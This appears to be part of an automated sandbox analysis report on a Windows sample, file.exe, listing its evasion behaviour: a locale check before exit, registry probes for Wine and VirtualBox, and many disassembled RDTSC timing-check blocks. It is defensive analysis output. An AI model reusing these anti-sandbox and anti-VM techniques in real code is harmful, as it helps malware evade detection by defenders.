Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58090

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191FE5 second address: 1191FEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191FEB second address: 1191914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F9D9C813277h 0x00000010 push dword ptr [ebp+122D0BB1h] 0x00000016 mov dword ptr [ebp+122D35BBh], edx 0x0000001c call dword ptr [ebp+122D18E3h] 0x00000022 pushad 0x00000023 pushad 0x00000024 push esi 0x00000025 or dword ptr [ebp+122D1ED4h], esi 0x0000002b pop edx 0x0000002c mov ecx, 5CB52D51h 0x00000031 popad 0x00000032 xor eax, eax 0x00000034 jmp 00007F9D9C81326Fh 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007F9D9C813272h 0x00000042 sub dword ptr [ebp+122D1ED4h], eax 0x00000048 mov dword ptr [ebp+122D29E5h], eax 0x0000004e jmp 00007F9D9C813273h 0x00000053 mov esi, 0000003Ch 0x00000058 mov dword ptr [ebp+122D1ED4h], edi 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 mov dword ptr [ebp+122D1ED4h], ecx 0x00000068 lodsw 0x0000006a mov dword ptr [ebp+122D1ED4h], edi 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 ja 00007F9D9C813277h 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e je 00007F9D9C813273h 0x00000084 jmp 00007F9D9C81326Dh 0x00000089 nop 0x0000008a push eax 0x0000008b push edx 0x0000008c jmp 00007F9D9C81326Dh 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191914 second address: 119193D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F9D9CDEFDC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f js 00007F9D9CDEFDDFh 0x00000015 pushad 0x00000016 jmp 00007F9D9CDEFDD1h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13029E3 second address: 13029E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13029E7 second address: 13029F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307FB6 second address: 1307FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130814A second address: 1308152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308152 second address: 1308170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C813278h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308170 second address: 1308188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9D9CDEFDCCh 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308562 second address: 1308583 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F9D9C813271h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007F9D9C813266h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308583 second address: 13085C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b js 00007F9D9CDEFDC8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F9D9CDEFDD8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13085C1 second address: 13085D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C81326Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A5A6 second address: 130A5BD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jl 00007F9D9CDEFDC6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A5BD second address: 130A5C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A5C2 second address: 130A5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F9D9CDEFDC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A5DC second address: 130A5E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A5E0 second address: 130A612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnc 00007F9D9CDEFDDCh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 je 00007F9D9CDEFDCEh 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A612 second address: 1191914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 movzx edx, bx 0x00000009 mov dword ptr [ebp+122D1984h], ecx 0x0000000f push dword ptr [ebp+122D0BB1h] 0x00000015 pushad 0x00000016 movsx esi, cx 0x00000019 mov dx, cx 0x0000001c popad 0x0000001d call dword ptr [ebp+122D18E3h] 0x00000023 pushad 0x00000024 pushad 0x00000025 push esi 0x00000026 or dword ptr [ebp+122D1ED4h], esi 0x0000002c pop edx 0x0000002d mov ecx, 5CB52D51h 0x00000032 popad 0x00000033 xor eax, eax 0x00000035 jmp 00007F9D9C81326Fh 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e jmp 00007F9D9C813272h 0x00000043 sub dword ptr [ebp+122D1ED4h], eax 0x00000049 mov dword ptr [ebp+122D29E5h], eax 0x0000004f jmp 00007F9D9C813273h 0x00000054 mov esi, 0000003Ch 0x00000059 mov dword ptr [ebp+122D1ED4h], edi 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 mov dword ptr [ebp+122D1ED4h], ecx 0x00000069 lodsw 0x0000006b mov dword ptr [ebp+122D1ED4h], edi 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 ja 00007F9D9C813277h 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f je 00007F9D9C813273h 0x00000085 jmp 00007F9D9C81326Dh 0x0000008a nop 0x0000008b push eax 0x0000008c push edx 0x0000008d jmp 00007F9D9C81326Dh 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A76D second address: 130A772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A772 second address: 130A7ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D9C813275h 0x00000008 jmp 00007F9D9C813279h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 and edi, 23A39361h 0x00000017 mov dword ptr [ebp+122D373Eh], edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F9D9C813268h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000015h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 mov esi, ecx 0x0000003b call 00007F9D9C813269h 0x00000040 jc 00007F9D9C81326Ah 0x00000046 push edi 0x00000047 pushad 0x00000048 popad 0x00000049 pop edi 0x0000004a push eax 0x0000004b push esi 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A7ED second address: 130A7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C5DD second address: 132C605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C813274h 0x00000009 popad 0x0000000a jl 00007F9D9C813276h 0x00000010 push eax 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A652 second address: 132A68F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F9D9CDEFDD7h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F9D9CDEFE0Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9D9CDEFDD8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A68F second address: 132A6B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C81326Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007F9D9C813266h 0x00000010 ja 00007F9D9C813266h 0x00000016 jmp 00007F9D9C81326Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A99E second address: 132A9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F9D9CDEFDC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A9AD second address: 132A9C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C81326Fh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A9C2 second address: 132A9C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A9C8 second address: 132A9CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AC5C second address: 132AC61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AC61 second address: 132ACB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9D9C813279h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F9D9C813274h 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F9D9C813266h 0x00000020 jmp 00007F9D9C813270h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132ADF1 second address: 132ADF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132ADF7 second address: 132ADFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AF2F second address: 132AF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B21A second address: 132B236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F9D9C81326Dh 0x0000000d jg 00007F9D9C813266h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B3AB second address: 132B416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9D9CDEFDD4h 0x0000000a pushad 0x0000000b jmp 00007F9D9CDEFDCAh 0x00000010 jmp 00007F9D9CDEFDD7h 0x00000015 jmp 00007F9D9CDEFDCDh 0x0000001a popad 0x0000001b jmp 00007F9D9CDEFDCEh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 jmp 00007F9D9CDEFDCAh 0x0000002b pop edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B416 second address: 132B422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9D9C813266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B422 second address: 132B429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B429 second address: 132B435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F9D9C813266h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B58F second address: 132B5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F9D9CDEFDC6h 0x0000000e je 00007F9D9CDEFDC6h 0x00000014 popad 0x00000015 jc 00007F9D9CDEFDD2h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BC83 second address: 132BCAC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9D9C81327Fh 0x00000008 jmp 00007F9D9C813277h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BCAC second address: 132BCC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9D9CDEFDCCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BCC0 second address: 132BCDC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9D9C813277h 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BF4F second address: 132BF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9D9CDEFDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BF59 second address: 132BF7C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9D9C813278h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BF7C second address: 132BF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9CDEFDCBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C126 second address: 132C12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C3F2 second address: 132C444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9D9CDEFDCEh 0x0000000a jne 00007F9D9CDEFDE0h 0x00000010 jmp 00007F9D9CDEFDD4h 0x00000015 jng 00007F9D9CDEFDC6h 0x0000001b jmp 00007F9D9CDEFDD4h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jng 00007F9D9CDEFDC6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C444 second address: 132C448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C448 second address: 132C44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C44E second address: 132C45E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9D9C813268h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F87E6 second address: 12F880B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F9D9CDEFDC6h 0x0000000d jmp 00007F9D9CDEFDD8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F880B second address: 12F8821 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9D9C813266h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F9D9C813266h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13302E6 second address: 13302FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jg 00007F9D9CDEFDD8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F9D9CDEFDC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337CAE second address: 1337CBB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337CBB second address: 1337CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F9D9CDEFDC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13375BB second address: 13375E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C813273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9D9C813271h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13375E3 second address: 13375EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F9D9CDEFDC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13375EE second address: 13375FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C81326Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338385 second address: 1338389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133842B second address: 1338432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338432 second address: 133843C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F9D9CDEFDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133843C second address: 1338440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338440 second address: 133847D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 61CB29D7h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F9D9CDEFDC8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 clc 0x0000002a mov si, E144h 0x0000002e push BF0F938Ah 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133847D second address: 1338487 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133882B second address: 1338831 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338831 second address: 1338837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339107 second address: 133910D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133910D second address: 1339112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339112 second address: 133911C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9CDEFDCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133931C second address: 1339329 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13393F9 second address: 13393FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13393FD second address: 1339423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F9D9C813278h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339423 second address: 133943B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D9CDEFDD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13394ED second address: 13394FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C81326Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13394FE second address: 1339504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339504 second address: 1339508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339508 second address: 1339530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F9D9CDEFDDDh 0x00000011 jmp 00007F9D9CDEFDD7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339530 second address: 1339535 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13395E7 second address: 13395ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13396C3 second address: 13396C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
